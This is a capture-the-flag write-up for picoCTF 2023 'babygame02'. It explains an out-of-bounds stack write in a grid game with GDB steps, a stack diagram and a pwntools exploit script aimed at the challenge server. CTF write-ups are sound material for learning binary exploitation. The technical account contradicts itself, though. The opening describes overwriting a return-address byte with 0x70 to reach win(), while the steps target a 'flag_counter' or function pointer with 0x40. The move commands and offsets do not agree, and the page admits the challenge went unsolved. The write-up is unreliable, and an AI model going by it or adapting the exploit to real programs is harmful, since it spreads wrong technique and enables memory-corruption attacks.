babygame02 picoCTF 2023 Solution

Published: April 26, 2023

Description

An extension of babygame01. Use the L command to set your character to 0x70 (the letter p), then move out-of-bounds before the map array to overwrite a single byte of the saved return address on the stack. This redirects execution into the win() function and prints the flag.

Download the binary and run it locally to understand the game mechanics.

Install pwntools and GDB with pwndbg.

bash
wget https://artifacts.picoctf.net/c/347/game && chmod +x game
bash
pip3 install pwntools
  1. Step 1Understand the game state structure
    Run the game and explore movement controls. Use GDB to map out the stack frame: player x/y coordinates and any adjacent function pointers.
    bash
    ./game
    bash
    gdb ./game
    bash
    # In GDB: disas main, break *<address>, run, info frame
    Learn more

    The game maintains a player structure on the stack (or as a global). Typical fields include:

    • player_x - current column position
    • player_y - current row position
    • board[HEIGHT][WIDTH] - the game grid
    • A flag-counter byte (or function pointer) the program reads each turn to decide whether to print the flag

    How a 2D board sits in memory. C compilers store board[H][W] in row-major order, so the byte at board[r][c] lives at offset r*W + c bytes from the base of the array. The game uses the player's coordinates as the index, so board[player_y][player_x] is what gets written/read each turn. Crucially, neither the index calculation nor the bounds check is enforced if the developer omits the player_x < WIDTH && player_y < HEIGHT guard.

    Stack layout (typical babygame02 build, low addr -> high):
    
      [ board[0][0]                ]  <- &board (e.g., rbp-0x150)
      [ board[0][1] ... board[0][W]]
      [ board[1][0] ... board[H-1][W-1] ]
      [ flag_counter byte          ]  <- target!
      [ player_y (int)             ]
      [ player_x (int)             ]
      [ saved RBP                  ]
      [ saved RIP (return address) ]
    
    The game writes board[player_y][player_x] = '@' each move.
    If player_y is allowed to grow past H, the write lands in
    flag_counter (or further -> saved RIP).

    In babygame02 the binary is generally built without PIE-relevant function pointers; instead it has a small integer flag just past the board that gets compared against a constant before the "You found the flag" branch fires. Set the flag to that constant by walking the player into its memory cell.

  2. Step 2Identify the movement vulnerability
    Test whether player movement is bounded. Move to the edge and keep moving - if the position wraps or continues past the boundary, you have an OOB write.
    bash
    # Send movement keys past the board edge and observe
    python
    python3 -c "print('l' * 100)" | ./game
    Learn more

    Out-of-bounds (OOB) array access occurs when the program uses an index that exceeds the array bounds without checking. In this game, if moving down past the last row simply increments player_y without checking player_y < HEIGHT, the player position writes the "footprint" byte into memory beyond the board.

    Why the write happens at all. Each turn the game runs something like:

    board[player_y][player_x] = '@';   // place player
    process_input();                   // updates player_x / player_y
    board[player_y][player_x] = '@';   // place player at new pos

    The compiler lowers board[y][x] = '@' to *((char*)board + y*WIDTH + x) = '@'. With y uncapped, moving down past row HEIGHT-1 walks off the array into adjacent stack variables - and since the game also reads from board[y][x], the renderer dutifully prints the value of those adjacent variables back to you, giving you a free memory read.

    Confirming the bug. Press s(down) repeatedly past the bottom edge. The on-screen ASCII map will start showing junk (your stack contents) instead of map tiles - that's your visual confirmation that the index is no longer clamped.

  3. Step 3Calculate the offset to the function pointer
    Using GDB, find the offset in bytes between the start of the board array and the function pointer. Divide by the cell size to get the number of moves needed.
    bash
    # In GDB:
    bash
    # p &board
    bash
    # p &func_ptr  (or name of the function pointer variable)
    bash
    # p (long)&func_ptr - (long)&board
    Learn more

    Once you know the byte offset between the board start and the target variable, calculate how many movement steps are needed. The translation is mechanical:

    (gdb) p &board
    $1 = (char (*)[10][10]) 0x7fffffffe0d0
    (gdb) p &flag_counter
    $2 = (int *) 0x7fffffffe198
    (gdb) p (long)&flag_counter - (long)&board
    $3 = 200
    
    board is HEIGHT*WIDTH = 100 bytes (10x10).
    flag_counter is at byte offset 200.
    
    Each move down adds WIDTH (=10) to the linear offset.
    Each move right adds 1.
    
    Solve for moves:    200 = 10*y + x  =>  y=20, x=0
    => press 's' 20 times to land on flag_counter

    The addresses above are illustrative. ASLR randomizes stack addresses each run and the exact frame layout depends on the compiler version, so re-run info frame and p &board / p &flag_counter locally to read the offsets your build actually uses. The relative offset (200 in the example) is what carries over between runs, not the absolute pointers.

    Controlling the byte that gets written. Most builds store the player as a single character (commonly '@' = 0x40) and write that exact byte. If the win condition checks for a specific value (e.g., flag_counter == 1), you may need a different approach: walk the player onto a tile that already contains the desired value, or rely on the game writing both '@' on entry and a known background byte on exit. Inspect the move handler in Ghidra/IDA to see exactly which byte is written.

    Endianness matters for multi-byte targets. x86_64 is little-endian: the least-significant byte of a multi-byte value is stored at the lowest memory address. So a 4-byte int at offset 200 has its bytes laid out as [byte0][byte1][byte2][byte3], where byte0 is the LSB. Writing a single 0x40 at offset 200 leaves the upper three bytes as their initial zero, giving the int value 0x00000040 = 64, which is the win value the comparison is checking against.

  4. Step 4Trigger the overwritten function pointer
    Drive the game over the network with pwntools: walk the player to the flag-counter cell, write 0x40, then step onto the exit tile to trigger the win branch.
    python
    python3 exploit.py
    # exploit.py
    from pwn import *
    
    p = remote("saturn.picoctf.net", 1337)   # or process("./game") locally
    
    # Move sequence we computed in GDB: 20 'down' steps land us on flag_counter,
    # then we step right to write the next byte (the writer stamps '@' = 0x40).
    moves  = b"s" * 20    # walk OOB to the flag_counter cell
    moves += b"d"         # one step right -> writer stamps 0x40 into the int slot
    moves += b"d" * 5     # back to the exit tile (adjust to your map)
    
    p.recvuntil(b"move:")
    for m in moves:
        p.sendline(bytes([m]))
    
    p.interactive()        # read the flag once the win branch fires
    Learn more

    With the flag-counter byte set to the magic value, the next turn's tick handler reads it back, sees the win condition is satisfied, and branches into the "You found the flag" printout, which on the remote server reads flag.txt.

    For the heap-side variant of this trick (free, realloc, overwrite a function pointer), see Heap exploitation for CTF. For more pwntools idioms (process(), remote(), p64, interactive mode), see Pwntools for CTF.

    Per-turn loop (decompiled):
    
      while (running) {
        char c = getchar();
        update_position(c);                  // <-- OOB happens here
        if (player_has_flag == MAGIC) {      // <-- our forged condition
          print_flag();                      // reads flag.txt
          break;
        }
        render_board();
      }

    OOB array writes are a classic C vulnerability class (CWE-787: Out-of-Bounds Write). They often arise from missing bounds checks in loops or unchecked index arithmetic. Modern C compilers can catch some cases with -fsanitize=address (AddressSanitizer), which is invaluable during development. In a hardened build, a stack canary would catch the next-write-over-RBP scenario, but a single-byte clobber of an adjacent data variable (not metadata) slips right past the canary check - which is why this challenge targets the flag counter, not the saved return address.

Flag

picoCTF{...}

This challenge was not solved during the competition. Follow the steps above to reproduce the solution.

Want more picoCTF 2023 writeups?

Useful tools for Binary Exploitation

Related reading

What to try next